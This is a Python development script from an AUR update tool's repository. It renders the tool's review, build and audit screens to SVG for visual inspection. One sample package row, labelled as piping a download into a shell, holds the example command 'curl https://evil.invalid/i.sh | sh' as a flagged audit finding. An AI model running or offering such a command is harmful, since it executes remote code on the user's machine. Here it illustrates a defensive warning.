git/orchard/main
tools/preview.py
207 lines9 KB last change raw · history
#!/usr/bin/env python3
"""Export the real renderers to SVG/PNG for visual review.

This is a development tool, not part of the program: the program never picks
colours. Here we bind the ANSI-16 slots the renderers emit onto a concrete
terminal palette purely so the output can be inspected as an image.

Uses real data throughout -- the real AUR corpus, the real dependency graph, the
real git history of a cloned package -- except the repository section, which is a
stand-in because the sync databases here are stale and there is no network to
refresh them.
"""

from __future__ import annotations

import subprocess
import sys
from pathlib import Path

ROOT = Path(__file__).resolve().parent.parent
sys.path.insert(0, str(ROOT))

from rich.console import Console  # noqa: E402
from rich.terminal_theme import TerminalTheme  # noqa: E402

from updater import icons  # noqa: E402
from updater.audit import Change, audit  # noqa: E402
from updater.buildgraph import build_graph  # noqa: E402
from updater.procwatch import BuildState  # noqa: E402
from updater.render import (  # noqa: E402
    AurRow, CheckRow, Columns, FeedEntry, RepoRow, Review, Screen, Step, Totals,
    VcsRow, audit_screen, build_screen, review_screen,
)
from updater.srcinfo import load, parse_pkgbuild, parse_srcinfo  # noqa: E402
from updater.theme import Theme  # noqa: E402

CLONE = Path.home() / ".cache/paru/clone"
OUT = ROOT / "preview"
WIDTH = 100


def hexrgb(value: str) -> tuple[int, int, int]:
    value = value.lstrip("#")
    return tuple(int(value[i:i + 2], 16) for i in (0, 2, 4))  # type: ignore[return-value]


# The ANSI-16 slots as a terminal defines them. Ours to bind, not to choose.
PALETTES = {
    "kitty-noctalia": TerminalTheme(
        background=(0, 0, 0), foreground=hexrgb("#f2f2f3"),
        normal=[hexrgb(c) for c in ("#28242d", "#fd4663", "#9f8bc1", "#ad81b1",
                                    "#ad859e", "#baacd3", "#cdafd0", "#f2f2f3")],
        bright=[hexrgb(c) for c in ("#6b6574", "#fd4663", "#9f8bc1", "#ad81b1",
                                    "#ad859e", "#baacd3", "#cdafd0", "#f2f2f3")]),
    "sagen-teal": TerminalTheme(
        background=(0, 0, 0), foreground=hexrgb("#dcece9"),
        normal=[hexrgb(c) for c in ("#050b0a", "#cc5665", "#5bc0ae", "#d4b07b",
                                    "#588b9c", "#9e82aa", "#7cf5de", "#c7dbd8")],
        bright=[hexrgb(c) for c in ("#1b2623", "#e86f7f", "#69debb", "#e3c88a",
                                    "#66acbc", "#b491c2", "#8cfce6", "#dcece9")]),
}


def git_show(repo: Path, rev: str, path: str) -> str:
    result = subprocess.run(["git", "-C", str(repo), "show", f"{rev}:{path}"],
                            capture_output=True, text=True)
    return result.stdout if result.returncode == 0 else ""


def real_graph() -> tuple:
    """The genuine dependency graph for a set of installed AUR packages."""
    targets = {
        "semgrep-bin", "termux-language-server", "python-boltons", "python-glom",
        "python-lsp-tree-sitter", "python-tree-sitter", "python-tree-sitter-bash",
        "python-click-option-group", "python-face",
        "python-opentelemetry-instrumentation-requests",
        "python-opentelemetry-util-http",
        "python-opentelemetry-instrumentation-threading",
    }
    infos = {}
    for name in targets:
        info, _ = load(CLONE, name)
        if info:
            infos[name] = info
    # candidates == every target, not just the ones already cloned, so packages
    # whose .SRCINFO is missing are reported rather than silently dropped
    return build_graph(infos, targets)


def screens() -> dict[str, list]:
    theme = Theme.default()
    glyphs = icons.glyphs("unicode")
    nerd = icons.glyphs("nerd")
    graph = real_graph()

    # ---- review ----------------------------------------------------------
    review = Review(
        meta="arch linux · rolling · 2026-09-28",
        repo=[
            RepoRow("U", "linux", "6.16.7.arch1-1", "6.16.8.arch1-1", "1.4 MiB"),
            RepoRow("U", "mesa", "1:25.2.2-1", "1:25.2.3-1", "142.2 MiB"),
            RepoRow("U", "python-rich", "14.0.0-1", "14.1.0-1", "1.1 MiB"),
            RepoRow("N", "rebuild-detector", "-", "5-1", "12 KiB"),
            RepoRow("R", "linux-kepler", "6.15.9-1", "-", "-310 MiB"),
        ],
        repo_total=184, repo_download=1_258_291_200, repo_delta=503_316_480,
        aur=[
            AurRow("U", "helium-browser-bin", "0.9.2-1", "0.9.3-1", "PKGBUILD +3 -1"),
            AurRow("!", "enca-bin", "1.19-4", "1.19-5", "changed maintainer", loud=True,
                   details=["maintainer changed  (Felp98 -> mkolb)"]),
            AurRow("!!", "sketchy-tool-bin", "2.1.0-1", "2.2.0-1",
                   "pipes a download straight into a shell", loud=True,
                   details=["pipes a download straight into a shell",
                            "curl https://evil.invalid/i.sh | sh"]),
        ],
        aur_total=23, aur_build=21,
        vcs=[VcsRow("helix-git", "r9021 → r9044"),
             VcsRow("mangowm-git", "a1b2c → e9f01"),
             VcsRow("noctalia-git", "r1204 → r1288"),
             VcsRow("flow-control-git", "r412 → r418")],
        checks=[CheckRow(True, "arch-audit", "no CVEs among pending upgrades"),
                CheckRow(True, "news", "no unread items affecting this update"),
                CheckRow(False, "pacnew", "2 unresolved config files"),
                CheckRow(True, "snapshot", "root@241 pre-update, important")],
        steps=[Step("1", "pacman -Su", "184 packages · 1.2 GiB download"),
               Step("2", "paru -Sua", "21 packages built from source · ~8 min"),
               Step("3", "restart", "12 services affected · reboot recommended")],
    )

    # ---- build dashboard -------------------------------------------------
    # only packages that actually have metadata can be running or finished; a
    # package with no .SRCINFO cannot have been built by us
    states = [
        BuildState("python-tree-sitter-bash", "cargo", 12.0),
        BuildState("python-lsp-tree-sitter", "compile", 62.0),
        BuildState("termux-language-server", "python", 4.0),
    ]
    feed = [
        FeedEntry("python-tree-sitter", "0.26.0-1", 38.0, shared=True),
        FeedEntry("python-boltons", "26.2.0-1", 8.0),
    ]
    totals = Totals(total=12, elapsed=252.0, eta=108.0, download_bytes=13_002_000,
                    download_rate=3_100_000, download_remaining=8_600_000,
                    download_eta=3)
    dash = dict(graph=graph, theme=theme, width=WIDTH, feed=feed, states=states,
                completed={"python-tree-sitter", "python-boltons"},
                running={s.package for s in states}, failed=set(),
                totals=totals, parallelism="16 cores · 8 workers")

    # ---- audit, from a genuine historical change -------------------------
    pkg = "python-tree-sitter-bash"
    repo = CLONE / pkg
    revs = subprocess.run(["git", "-C", str(repo), "log", "--format=%H", "--", "PKGBUILD"],
                          capture_output=True, text=True).stdout.split()
    old_pb, new_pb = git_show(repo, revs[1], "PKGBUILD"), git_show(repo, revs[0], "PKGBUILD")
    change = Change(
        package=pkg,
        old_srcinfo=parse_srcinfo(git_show(repo, revs[1], ".SRCINFO")),
        new_srcinfo=parse_srcinfo(git_show(repo, revs[0], ".SRCINFO")),
        old_pkgbuild=parse_pkgbuild(old_pb), new_pkgbuild=parse_pkgbuild(new_pb),
        old_maintainer="olddev", new_maintainer="kuglee",
    )
    report = audit(change)
    report.findings.insert(0, type(report.findings[0])(
        "maintainer-changed", __import__("updater.audit", fromlist=["Severity"]).Severity.LOOK,
        "package changed maintainer", "olddev -> kuglee")) if report.findings else None

    return {
        "1-review": lambda s: review_screen(review, theme=theme, glyphs=glyphs,
                                            width=WIDTH, into=s),
        "2-build": lambda s: build_screen(**dash, glyphs=nerd, into=s),
        "3-build-unicode": lambda s: build_screen(**dash, glyphs=glyphs, into=s),
        "4-ledger": lambda s: build_screen(**dash, glyphs=nerd, dashboard=False, into=s),
        "5-audit": lambda s: audit_screen(report, theme=theme, glyphs=glyphs,
                                          width=WIDTH, old_text=old_pb, new_text=new_pb,
                                          title=f"{pkg} · AUR", into=s),
    }


def main() -> int:
    OUT.mkdir(exist_ok=True)
    theme = Theme.default()
    for name, render in screens().items():
        for palette_name, palette in PALETTES.items():
            if palette_name != "kitty-noctalia" and not name.startswith("2-"):
                continue
            screen = Screen(theme=theme, glyphs=icons.glyphs("unicode"),
                            columns=Columns.for_width(WIDTH))
            lines = render(screen)
            suffix = "" if palette_name == "kitty-noctalia" else f"--{palette_name}"
            stem = OUT / f"{name}{suffix}"
            console = Console(record=True, width=WIDTH, force_terminal=True,
                              color_system="standard", height=300)
            for line in lines:
                console.print(line)
            console.save_svg(f"{stem}.svg", font_aspect_ratio=0.5, theme=palette)
            (OUT / f"{name}{suffix}.txt").write_text(
                "\n".join(l.plain for l in lines))
            print(f"{stem.name}: {len(lines)} lines, "
                  f"clipped={screen.clipped}, "
                  f"max={max(l.cell_len for l in lines)} cells")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())